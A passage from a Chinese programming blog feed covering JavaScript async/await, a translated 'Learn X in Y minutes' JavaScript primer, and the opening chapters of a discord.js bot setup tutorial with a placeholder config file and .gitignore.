global.token=await new Promise((resolve) =\u0026gt; {\n setTimeout(() =\u0026gt; {\n resolve(\"loftyamb\");\n }, 3000); // 模拟通过 post 请求获取 token 返回token的过程\n });\n console.log(`成功获取到了token${global.token}`);\n // 上面的打印语句会被promise对象所阻塞,直到promise对象的状态发送改变\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e// 利用获取到的token,进行创建菜单的操作\nconst createMenu = async () =\u0026gt; {\n if (token !== undefined) {\n console.log(`利用token${token}成功创建了菜单`);\n } else {\n console.log(\"创建失败\");\n }\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e那么可用以下方式实现二者的依次执行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst setMenu=async ()=\u0026gt;{\n await getToken();\n await createMenu();\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst setMenu=async ()=\u0026gt;{\n await getToken();\n await createMenu(); //该方法会等待前面的方法执行完毕之后才执行\n}\nsetMenu();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e输出结果:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e成功获取到了tokenloftyamb\n利用tokenloftyamb成功创建了菜单\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e关于异常\u003c/h3\u003e\n\u003cp\u003e假定在获取 token 的时候发生了异常,即 Promise 对象状态为 reject,此时要在 async 函数中对异常进行处理,如下所示:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取token\nconst getToken = async () =\u0026gt; {\n try {\n token = await new Promise((resolve, reject) =\u0026gt; {\n setTimeout(() =\u0026gt; {\n reject(\"error\");\n }, 3000); // 模拟过了 3 秒才获取 token 失败\n });\n } catch (err) {\n console.log(err);\n }\n console.log(`成功获取到了token${token}`); // 异常被捕获后则此语句仍能正常执行\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e当异常被处理之后,则await之后的函数仍然会正常执行。\u003c/p\u003e\n\u003ch2\u003eLearn Javascript in Y minutes\u003c/h2\u003e\n\u003cp\u003e原文地址:https://learnxinyminutes.com/docs/zh-cn/javascript-cn\u003c/p\u003e\n\u003cp\u003e该内容遵循 CC BY-SA 3.0\u003c/p\u003e\n\u003cp\u003eJavascript 于 1995 年由网景公司的 Brendan Eich 发明。最初它作为一种简单的,用于开发网站的脚本语言而被发明出来,是用于开发复杂网站的 Java 的补充。但由于它与网页结合度很高并且在浏览器中得到内置的支持,所以在网页前端领域 Javascript 变得比 Java 更流行了。\u003c/p\u003e\n\u003cp\u003e不过,Javascript 不仅用于网页浏览器,一个名为 Node.js 的项目提供了面向 Google Chrome V8 引擎的独立运行时环境,它正在变得越来越流行。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// 注释方式和C很像,这是单行注释\n/* 这是多行\n 注释 */\n\n// 语句可以以分号结束\ndoStuff();\n\n// ... 但是分号也可以省略,每当遇到一个新行时,分号会自动插入(除了一些特殊情况)。\ndoStuff()\n\n// 因为这些特殊情况会导致意外的结果,所以我们在这里保留分号。\n\n///////////////////////////////////\n// 1. 数字、字符串与操作符\n\n// Javascript 只有一种数字类型(即 64位 IEEE 754 双精度浮点 double)。\n// double 有 52 位表示尾数,足以精确存储大到 9✕10¹⁵ 的整数。\n3; // = 3\n1.5; // = 1.5\n\n// 所有基本的算数运算都如你预期。\n1 + 1; // = 2\n0.1 + 0.2; // = 0.30000000000000004\n8 - 1; // = 7\n10 * 2; // = 20\n35 / 5; // = 7\n\n// 包括无法整除的除法。\n5 / 2; // = 2.5\n\n// 位运算也和其他语言一样;当你对浮点数进行位运算时,\n// 浮点数会转换为*至多* 32 位的无符号整数。\n1 \u0026lt;\u0026lt; 2; // = 4\n\n// 括号可以决定优先级。\n(1 + 3) * 2; // = 8\n\n// 有三种非数字的数字类型\nInfinity; // 1/0 的结果\n-Infinity; // -1/0 的结果\nNaN; // 0/0 的结果\n\n// 也有布尔值。\ntrue;\nfalse;\n\n// 可以通过单引号或双引号来构造字符串。\n'abc';\n\"Hello, world\";\n\n// 用!来取非\n!true; // = false\n!false; // = true\n\n// 相等 ===\n1 === 1; // = true\n2 === 1; // = false\n\n// 不等 !=\n1 !== 1; // = false\n2 !== 1; // = true\n\n// 更多的比较操作符 \n1 \u0026lt; 10; // = true\n1 \u0026gt; 10; // = false\n2 \u0026lt;= 2; // = true\n2 \u0026gt;= 2; // = true\n\n// 字符串用+连接\n\"Hello \" + \"world!\"; // = \"Hello world!\"\n\n// 字符串也可以用 \u0026lt; 、\u0026gt; 来比较\n\"a\" \u0026lt; \"b\"; // = true\n\n// 使用“==”比较时会进行类型转换...\n\"5\" == 5; // = true\nnull == undefined; // = true\n\n// ...除非你是用 ===\n\"5\" === 5; // = false\nnull === undefined; // = false \n\n// ...但会导致奇怪的行为\n13 + !0; // 14\n\"13\" + !0; // '13true'\n\n// 你可以用`charAt`来得到字符串中的字符\n\"This is a string\".charAt(0); // = 'T'\n\n// ...或使用 `substring` 来获取更大的部分。\n\"Hello world\".substring(0, 5); // = \"Hello\"\n\n// `length` 是一个属性,所以不要使用 ().\n\"Hello\".length; // = 5\n\n// 还有两个特殊的值:`null`和`undefined`\nnull; // 用来表示刻意设置的空值\nundefined; // 用来表示还没有设置的值(尽管`undefined`自身实际是一个值)\n\n// false, null, undefined, NaN, 0 和 \"\" 都是假的;其他的都视作逻辑真\n// 注意 0 是逻辑假而 \"0\"是逻辑真,尽管 0 == \"0\"。\n\n///////////////////////////////////\n// 2. 变量、数组和对象\n\n// 变量需要用`var`关键字声明。Javascript是动态类型语言,\n// 所以你无需指定类型。 赋值需要用 `=` \nvar someVar = 5;\n\n// 如果你在声明时没有加var关键字,你也不会得到错误...\nsomeOtherVar = 10;\n\n// ...但是此时这个变量就会在全局作用域被创建,而非你定义的当前作用域\n\n// 没有被赋值的变量都会被设置为undefined\nvar someThirdVar; // = undefined\n\n// 对变量进行数学运算有一些简写法:\nsomeVar += 5; // 等价于 someVar = someVar + 5; someVar 现在是 10 \nsomeVar *= 10; // 现在 someVar 是 100\n\n// 自增和自减也有简写\nsomeVar++; // someVar 是 101\nsomeVar--; // 回到 100\n\n// 数组是任意类型组成的有序列表\nvar myArray = [\"Hello\", 45, true];\n\n// 数组的元素可以用方括号下标来访问。\n// 数组的索引从0开始。\nmyArray[1]; // = 45\n\n// 数组是可变的,并拥有变量 length。\nmyArray.push(\"World\");\nmyArray.length; // = 4\n\n// 在指定下标添加/修改\nmyArray[3] = \"Hello\";\n\n// javascript中的对象相当于其他语言中的“字典”或“映射”:是键-值对的无序集合。\nvar myObj = {key1: \"Hello\", key2: \"World\"};\n\n// 键是字符串,但如果键本身是合法的js标识符,则引号并非是必须的。\n// 值可以是任意类型。\nvar myObj = {myKey: \"myValue\", \"my other key\": 4};\n\n// 对象属性的访问可以通过下标\nmyObj[\"my other key\"]; // = 4\n\n// ... 或者也可以用 . ,如果属性是合法的标识符\nmyObj.myKey; // = \"myValue\"\n\n// 对象是可变的;值也可以被更改或增加新的键\nmyObj.myThirdKey = true;\n\n// 如果你想要获取一个还没有被定义的值,那么会返回undefined\nmyObj.myFourthKey; // = undefined\n\n///////////////////////////////////\n// 3. 逻辑与控制结构\n\n// 本节介绍的语法与Java的语法几乎完全相同\n\n// `if`语句和其他语言中一样。\nvar count = 1;\nif (count == 3){\n // count 是 3 时执行\n} else if (count == 4){\n // count 是 4 时执行\n} else {\n // 其他情况下执行 \n}\n\n// while循环\nwhile (true) {\n // 无限循环\n}\n\n// Do-while 和 While 循环很像 ,但前者会至少执行一次\nvar input;\ndo {\n input = getInput();\n} while (!isValid(input))\n\n// `for`循环和C、Java中的一样:\n// 初始化; 继续执行的条件; 迭代。\nfor (var i = 0; i \u0026lt; 5; i++){\n // 遍历5次\n}\n\n// \u0026amp;\u0026amp; 是逻辑与, || 是逻辑或\nif (house.size == \"big\" \u0026amp;\u0026amp; house.colour == \"blue\"){\n house.contains = \"bear\";\n}\nif (colour == \"red\" || colour == \"blue\"){\n // colour是red或者blue时执行\n}\n\n// \u0026amp;\u0026amp; 和 || 是“短路”语句,它在设定初始化值时特别有用 \nvar name = otherName || \"default\";\n\n// `switch`语句使用`===`检查相等性。\n// 在每一个case结束时使用 'break'\n// 否则其后的case语句也将被执行。 \ngrade = 'B';\nswitch (grade) {\n case 'A':\n console.log(\"Great job\");\n break;\n case 'B':\n console.log(\"OK job\");\n break;\n case 'C':\n console.log(\"You can do better\");\n break;\n default:\n console.log(\"Oy vey\");\n break;\n}\n\n///////////////////////////////////\n// 4. 函数、作用域、闭包\n\n// JavaScript 函数由`function`关键字定义\nfunction myFunction(thing){\n return thing.toUpperCase();\n}\nmyFunction(\"foo\"); // = \"FOO\"\n\n// 注意被返回的值必须开始于`return`关键字的那一行,\n// 否则由于自动的分号补齐,你将返回`undefined`。\n// 在使用Allman风格的时候要注意.\nfunction myFunction()\n{\n return // \u0026lt;- 分号自动插在这里\n {\n thisIsAn: 'object literal'\n }\n}\nmyFunction(); // = undefined\n\n// javascript中函数是一等对象,所以函数也能够赋给一个变量,\n// 并且被作为参数传递 —— 比如一个事件处理函数:\nfunction myFunction(){\n // 这段代码将在5秒钟后被调用\n}\nsetTimeout(myFunction, 5000);\n// 注意:setTimeout不是js语言的一部分,而是由浏览器和Node.js提供的。\n\n// 函数对象甚至不需要声明名称 —— 你可以直接把一个函数定义写到另一个函数的参数中\nsetTimeout(function(){\n // 这段代码将在5秒钟后被调用\n}, 5000);\n\n// JavaScript 有函数作用域;函数有其自己的作用域而其他的代码块则没有。\nif (true){\n var i = 5;\n}\ni; // = 5 - 并非我们在其他语言中所期望得到的undefined\n\n// 这就导致了人们经常使用的“立即执行匿名函数”的模式,\n// 这样可以避免一些临时变量扩散到全局作用域去。\n(function(){\n var temporary = 5;\n // 我们可以访问修改全局对象(\"global object\")来访问全局作用域,\n // 在web浏览器中是`window`这个对象。 \n // 在其他环境如Node.js中这个对象的名字可能会不同。\n window.permanent = 10;\n})();\ntemporary; // 抛出引用异常ReferenceError\npermanent; // = 10\n\n// javascript最强大的功能之一就是闭包。\n// 如果一个函数在另一个函数中定义,那么这个内部函数就拥有外部函数的所有变量的访问权,\n// 即使在外部函数结束之后。\nfunction sayHelloInFiveSeconds(name){\n var prompt = \"Hello, \" + name + \"!\";\n // 内部函数默认是放在局部作用域的,\n // 就像是用`var`声明的。\n function inner(){\n alert(prompt);\n }\n setTimeout(inner, 5000);\n // setTimeout是异步的,所以 sayHelloInFiveSeconds 函数会立即退出,\n // 而 setTimeout 会在后面调用inner\n // 然而,由于inner是由sayHelloInFiveSeconds“闭合包含”的,\n // 所以inner在其最终被调用时仍然能够访问`prompt`变量。\n}\nsayHelloInFiveSeconds(\"Adam\"); // 会在5秒后弹出 \"Hello, Adam!\"\n\n///////////////////////////////////\n// 5. 对象、构造函数与原型\n\n// 对象可以包含方法。\nvar myObj = {\n myFunc: function(){\n return \"Hello world!\";\n }\n};\nmyObj.myFunc(); // = \"Hello world!\"\n\n// 当对象中的函数被调用时,这个函数可以通过`this`关键字访问其依附的这个对象。\nmyObj = {\n myString: \"Hello world!\",\n myFunc: function(){\n return this.myString;\n }\n};\nmyObj.myFunc(); // = \"Hello world!\"\n\n// 但这个函数访问的其实是其运行时环境,而非定义时环境,即取决于函数是如何调用的。\n// 所以如果函数被调用时不在这个对象的上下文中,就不会运行成功了。\nvar myFunc = myObj.myFunc;\nmyFunc(); // = undefined\n\n// 相应的,一个函数也可以被指定为一个对象的方法,并且可以通过`this`访问\n// 这个对象的成员,即使在函数被定义时并没有依附在对象上。\nvar myOtherFunc = function(){\n return this.myString.toUpperCase();\n}\nmyObj.myOtherFunc = myOtherFunc;\nmyObj.myOtherFunc(); // = \"HELLO WORLD!\"\n\n// 当我们通过`call`或者`apply`调用函数的时候,也可以为其指定一个执行上下文。\nvar anotherFunc = function(s){\n return this.myString + s;\n}\nanotherFunc.call(myObj, \" And Hello Moon!\"); // = \"Hello World! And Hello Moon!\"\n\n// `apply`函数几乎完全一样,只是要求一个array来传递参数列表。\nanotherFunc.apply(myObj, [\" And Hello Sun!\"]); // = \"Hello World! And Hello Sun!\"\n\n// 当一个函数接受一系列参数,而你想传入一个array时特别有用。\nMath.min(42, 6, 27); // = 6\nMath.min([42, 6, 27]); // = NaN (uh-oh!)\nMath.min.apply(Math, [42, 6, 27]); // = 6\n\n// 但是`call`和`apply`只是临时的。如果我们希望函数附着在对象上,可以使用`bind`。\nvar boundFunc = anotherFunc.bind(myObj);\nboundFunc(\" And Hello Saturn!\"); // = \"Hello World! And Hello Saturn!\"\n\n// `bind` 也可以用来部分应用一个函数(柯里化)。\nvar product = function(a, b){ return a * b; }\nvar doubler = product.bind(this, 2);\ndoubler(8); // = 16\n\n// 当你通过`new`关键字调用一个函数时,就会创建一个对象,\n// 而且可以通过this关键字访问该函数。\n// 设计为这样调用的函数就叫做构造函数。\nvar MyConstructor = function(){\n this.myNumber = 5;\n}\nmyNewObj = new MyConstructor(); // = {myNumber: 5}\nmyNewObj.myNumber; // = 5\n\n// 每一个js对象都有一个‘原型’。当你要访问一个实际对象中没有定义的一个属性时,\n// 解释器就回去找这个对象的原型。\n\n// 一些JS实现会让你通过`__proto__`属性访问一个对象的原型。\n// 这虽然对理解原型很有用,但是它并不是标准的一部分;\n// 我们后面会介绍使用原型的标准方式。\nvar myObj = {\n myString: \"Hello world!\"\n};\nvar myPrototype = {\n meaningOfLife: 42,\n myFunc: function(){\n return this.myString.toLowerCase()\n }\n};\n\nmyObj.__proto__ = myPrototype;\nmyObj.meaningOfLife; // = 42\n\n// 函数也可以工作。\nmyObj.myFunc() // = \"hello world!\"\n\n// 当然,如果你要访问的成员在原型当中也没有定义的话,解释器就会去找原型的原型,以此类推。\nmyPrototype.__proto__ = {\n myBoolean: true\n};\nmyObj.myBoolean; // = true\n\n// 这其中并没有对象的拷贝;每个对象实际上是持有原型对象的引用。\n// 这意味着当我们改变对象的原型时,会影响到其他以这个原型为原型的对象。\nmyPrototype.meaningOfLife = 43;\nmyObj.meaningOfLife; // = 43\n\n// 我们知道 `__proto__` 并非标准规定,实际上也没有标准办法来修改一个已存在对象的原型。\n// 然而,我们有两种方式为指定原型创建一个新的对象。\n\n// 第一种方式是 Object.create,这个方法是在最近才被添加到Js中的,\n// 因此并不是所有的JS实现都有这个方法\nvar myObj = Object.create(myPrototype);\nmyObj.meaningOfLife; // = 43\n\n// 第二种方式可以在任意版本中使用,不过必须通过构造函数。\n// 构造函数有一个属性prototype。但是它 *不是* 构造函数本身的原型;相反,\n// 是通过构造函数和new关键字创建的新对象的原型。\nMyConstructor.prototype = {\n myNumber: 5,\n getMyNumber: function(){\n return this.myNumber;\n }\n};\nvar myNewObj2 = new MyConstructor();\nmyNewObj2.getMyNumber(); // = 5\nmyNewObj2.myNumber = 6\nmyNewObj2.getMyNumber(); // = 6\n\n// 字符串和数字等内置类型也有通过构造函数来创建的包装类型\nvar myNumber = 12;\nvar myNumberObj = new Number(12);\nmyNumber == myNumberObj; // = true\n\n// 但是它们并非严格等价\ntypeof myNumber; // = 'number'\ntypeof myNumberObj; // = 'object'\nmyNumber === myNumberObj; // = false\nif (0){\n // 这段代码不会执行,因为0代表假\n}\n\n// 不过,包装类型和内置类型共享一个原型,\n// 所以你实际可以给内置类型也增加一些功能,例如对string:\nString.prototype.firstCharacter = function(){\n return this.charAt(0);\n}\n\"abc\".firstCharacter(); // = \"a\"\n\n// 这个技巧经常用在“代码填充”中,来为老版本的javascript子集增加新版本js的特性,\n// 这样就可以在老的浏览器中使用新功能了。\n\n// 比如,我们知道Object.create并没有在所有的版本中都实现,\n// 但是我们仍然可以通过“代码填充”来实现兼容:\nif (Object.create === undefined){ // 如果存在则不覆盖\n Object.create = function(proto){\n // 用正确的原型来创建一个临时构造函数\n var Constructor = function(){};\n Constructor.prototype = proto;\n // 之后用它来创建一个新的对象\n return new Constructor();\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-2/"},{"title":"Bot in Discord with discord.js (1)","time":"2022-07-08T00:00:00Z","content":"\u003ch2\u003e前言\u003c/h2\u003e\n\u003cp\u003e利用 discord.js 建立一个 Discord 机器人。\u003c/p\u003e\n\u003cp\u003e我也是第一次上手,利用博客来记录我的学习过程,定期整理后再发到公众号。\u003c/p\u003e\n\u003cp\u003e在简单对比了 discord.js (JavaScript),discordgo (Go),discord.py (Python),Discord4J (Java),JDA (Java) 和 D++ (C++) 等项目后,我选择了 \u003ca href=\"https://discord.js.org/#/\"\u003ediscord.js\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e为什么选择了discord.js 来构建一个 Discord 机器人呢?因为它:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e面向对象\u003c/li\u003e\n\u003cli\u003e快速高效\u003c/li\u003e\n\u003cli\u003e功能丰富\u003c/li\u003e\n\u003cli\u003e灵活\u003c/li\u003e\n\u003cli\u003e100% 基于 Promise\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e又根据 Atwood 定律:任何可以使用 JavaScript 来编写的应用,并最终也会由 JavaScript 编写。所以,没得办法。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e免责声明:先说好,不要将本教程的代码用于生产环境,因为它们通常有着已知或未知的漏洞。任何代码在上线之前,都应该经过充分的代码审查。本教程只是为了说明基本原理并自娱自乐。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e下面,咱们开始吧。\u003c/p\u003e\n\u003ch2\u003eChapter 1 - 环境搭建\u003c/h2\u003e\n\u003ch3\u003e环境\u003c/h3\u003e\n\u003cp\u003e你需要自行下载安装 node.js。\u003c/p\u003e\n\u003cp\u003e包管理器 npm,yarn,pnpm 有一个就行了。本文使用 npm。\u003c/p\u003e\n\u003ch4\u003e本文编写时,我的本地开发环境\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eWindows 10 21H2 19044\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://nodejs.org/\"\u003eNode.js 16.16.0 LTS\u003c/a\u003e ,版本需要至少 16.9.0\u003c/li\u003e\n\u003cli\u003e包管理器:npm 8.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://classic.yarnpkg.com/lang/en/docs/install\"\u003e包管理器:Yarn 1.22.19\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://pnpm.io/installation\"\u003e包管理器:pnpm 7.5.0\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.jetbrains.com/webstorm\"\u003eIDE: Jetbrains Webstorm 2022.1.3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.sublimetext.com/\"\u003e编辑器:Sublime Text v4126\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e操作系统可以选择 Linux 发行版、FreeBSD 或 Mac OS,Windows 不是必须的选择,但操作系统你得有。\u003c/p\u003e\n\u003cp\u003eIDE 也不是必须的,用 VS Code, Sublime Text, Vim, nano 或者记事本都可以。\u003c/p\u003e\n\u003cp\u003eNode.js 是必须安装的。\u003c/p\u003e\n\u003ch4\u003e本文编写时,我的云端环境\u003c/h4\u003e\n\u003cp\u003e云端环境是用来在我的笔记本关机时,让机器人保持继续运行的环境。\u003c/p\u003e\n\u003cp\u003e云端环境不是必须的,如果你有的话,要保证它能连上 Discord 服务器(可以通过 ping www.discord.com 和 cdn.discordapp.com 来初步验证一下连通性)。\u003c/p\u003e\n\u003ch3\u003e从 Discord Developer Portal 注册机器人账号\u003c/h3\u003e\n\u003cp\u003e打开链接 https://discord.com/developers/applications ,登录你的 Discord 账号,选择 \u003ccode\u003eNew Application\u003c/code\u003e 来创建新应用程序。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eNAME\u003c/code\u003e 一栏填写你的应用名称,这个名称将会是机器人的外显账号名称,后期可修改。\u003c/p\u003e\n\u003cp\u003e按下 \u003ccode\u003eCreate\u003c/code\u003e 以完成创建。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223049452-1249073988.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e点开新创建的应用,点击左侧菜单栏的 \u003ccode\u003eGeneral Information\u003c/code\u003e,记下 \u003ccode\u003eAPPLICATION ID\u003c/code\u003e,这就是通常所说的机器人的 \"client_id\",这个 ID 是公开可查的,不是秘密。\u003c/p\u003e\n\u003cp\u003e点击左侧菜单栏的 \u003ccode\u003eBot\u003c/code\u003e,点击 \u003ccode\u003eAdd Bot\u003c/code\u003e ,再点击弹出对话框的 \u003ccode\u003eYes, do it!\u003c/code\u003e 创建机器人。注意此操作是不可逆的,也就是说机器人一旦创建,就不可被销毁删除。哪怕销毁应用程序,机器人账号仍会在 Discord 的世界里存在,只是变成无人能管理的孤儿账号了。\u003c/p\u003e\n\u003cp\u003e关于机器人账号和普通用户账号的区别,这里 (https://discord.com/developers/docs/topics/oauth2#bots) 有介绍。\u003c/p\u003e\n\u003cp\u003e完成机器人账号创建后,在本页面的 \u003ccode\u003eBuild-A-Bot\u003c/code\u003e 栏目中,你可以给机器人账号更换用户名和头像。\u003c/p\u003e\n\u003cp\u003e点击按钮 \u003ccode\u003eReset Token\u003c/code\u003e 并点击 \u003ccode\u003eYes, do it!\u003c/code\u003e 来首次获取我们的机器人账号 Token。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125633911-1411679088.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:Token (令牌)万万不可给别人看到,这是十分机密的一串文字,任何人有了它,就拥有了完全掌控机器人行为的能力了,比如机器人恶意封禁和私聊服务器里的人、发送 @everyone 等恶劣行为都可能会发生。请妥善保管好这个密钥,\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:Discord 出于安全目的,令牌在创建时只能查看一次。 如果您忘记或无法访问您的令牌,请重新生成一个新令牌,旧令牌将自动失效。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接着,在 \u003ccode\u003eBot\u003c/code\u003e 页面的 \u003ccode\u003ePrivileged Gateway Intents\u003c/code\u003e 栏目中,勾选 \u003ccode\u003ePresence Intent\u003c/code\u003e、\u003ccode\u003eServer Members Intent\u003c/code\u003e 和 \u003ccode\u003eMessage Content Intent\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e然后点击下端弹出的绿色保存设置 (Save Changes) 按钮,来保存设置。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223236956-513821563.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e点击左侧菜单栏的 \u003ccode\u003eOAuth2\u003c/code\u003e - \u003ccode\u003eURL Generator\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223317282-341711629.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eSCOPES\u003c/code\u003e 里勾选 \u003ccode\u003ebot\u003c/code\u003e 和 \u003ccode\u003eapplications.commands\u003c/code\u003e ,为了方便,在 \u003ccode\u003eBOT PERMISSIONS\u003c/code\u003e 里直接勾选第一条 \u003ccode\u003eAdministrator\u003c/code\u003e (注意咱们只是为了玩哈,才直接赋予管理员权限的)。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223338452-1398283213.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e复制最下方生成的 URL,粘贴到新浏览器窗口打开,选择服务器并添加。如果你没有看到任何可选选项,那么你需要去 Discord 先自己创建一个服务器,然后回来刷新一下。事实上,其他服务器如果给你管理服务器的权限的话,这个服务器将出现在可选选项中。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223358375-25536375.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223409625-2120951239.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e到此,我们完成了搭建开发环境、创建机器人账号和邀请机器人进入服务器等操作。\u003c/p\u003e\n\u003ch2\u003eChapter 2 - 工程文件夹的初始化\u003c/h2\u003e\n\u003ch3\u003e创建工程文件夹\u003c/h3\u003e\n\u003cp\u003e对于 IDE 用户,创建一个 Node.js 项目。对于编辑器用户,新建文件夹即可。\u003c/p\u003e\n\u003cp\u003e比如我的工程根文件夹是 \u003ccode\u003eC:\\Users\\root\\WebstormProjects\\discord_bot_2022\u003c/code\u003e\u003c/p\u003e\n\u003ch3\u003e获取 discord.js\u003c/h3\u003e\n\u003cp\u003e本文编写时,discord.js 的最新版本是 v14,\u003cstrong\u003e咱们使用的版本也是 v14\u003c/strong\u003e。后文的部分代码可能在过去和未来的版本(比如 v13 和 v15)中失效。\u003c/p\u003e\n\u003cp\u003e不过幸运的是,从 v13 升级到 v14 的情况来看,没啥大问题。何况 v14 才于 2022 年 7 月 18 日正式发布(本文于 2022 年 7 月 9 日开始撰写第一版,7 月 19 日完成针对 v14 的第二版),v15 的发布还远着呢。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:你的 Node.js 的版本需高于 16.9.0(含)\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ecd 到 \u003ccode\u003e工程根文件夹\u003c/code\u003e,在终端输入来获取 discord.js:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 npm:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003enpm install discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 yarn:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003eyarn add discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 pnpm:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003epnpm add discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意:因为 builders 已被内置于 discord.js 中的缘故,包 \u003ccode\u003e@discordjs/builders\u003c/code\u003e 在 v14 中已被废弃。如果你已有基于 v13 的旧代码,你需要在终端卸载该包:\u003ccode\u003enpm uninstall @discordjs/builders\u003c/code\u003e。保留该包会引起命名冲突,所以初学者切勿安装该包。\u003c/p\u003e\n\u003ch3\u003e打开 Discord 开发者模式\u003c/h3\u003e\n\u003cp\u003e为了方便地获取服务器 id、身份组 id 、消息 id 和用户 id,我们必须这么做。\u003c/p\u003e\n\u003cp\u003e网页版在Discord \u003ccode\u003e设置\u003c/code\u003e - \u003ccode\u003e高级设置\u003c/code\u003e 里,勾选 \u003ccode\u003e开发者模式\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e手机版在 \u003ccode\u003eDiscordAPP\u003c/code\u003e - \u003ccode\u003e\"我\"的头像\u003c/code\u003e - \u003ccode\u003eAPP设置栏\u003c/code\u003e - \u003ccode\u003e外观\u003c/code\u003e - \u003ccode\u003e高级设置栏\u003c/code\u003e - \u003ccode\u003e开发者模式\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e创建配置文件 config.json\u003c/h3\u003e\n\u003cp\u003e在工程根文件夹下创建文件 \u003ccode\u003econfig.json\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{ \n \"token\": \"bot-token-goes-here\", \n \"clientId\": \"bot-clientid-goes here\", \n \"guildId\": \"serverid-goes-here\" \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e比如(这三条都是我瞎编的,不是真的)\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{ \n \"token\": \"OBEzNDMyTEN0OTkzOTk1ODA4.Bhz0k7.97sjsWOGtmx-LBIlFvrkk6A9lkk9YGMX9OYbf\", \n \"clientId\": \"240832114973084058\", \n \"guildId\": \"1978274108637234708\" \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e需要说明的是,\u003ccode\u003etoken\u003c/code\u003e 字段就是那个极为重要不能外泄的机器人密钥,把你的粘贴过来。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eclientId\u003c/code\u003e 字段就是 \u003ccode\u003eApplication id\u003c/code\u003e。在 Discord 服务器里。右击机器人头像,点击 \u003ccode\u003e复制 ID\u003c/code\u003e 即可轻松获取。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eguildId\u003c/code\u003e 字段是服务器的 ID,当然得是机器人所在的服务器的 ID。右击服务器头像,点击 \u003ccode\u003e复制 ID\u003c/code\u003e 即可轻松获取。\u003c/p\u003e\n\u003ch3\u003e.gitignore 的配置\u003c/h3\u003e\n\u003cp\u003e接下来确保你的工程根文件夹下存在 \u003ccode\u003e.gitignore\u003c/code\u003e 文件,确保文件内已写入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode_modules\nconfig.json\n.env\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e第一行的 node_module 防止你把包也给上传了,白白占用空间。\u003c/p\u003e\n\u003cp\u003e第二行的 config.json 是防止你的 token 在 git 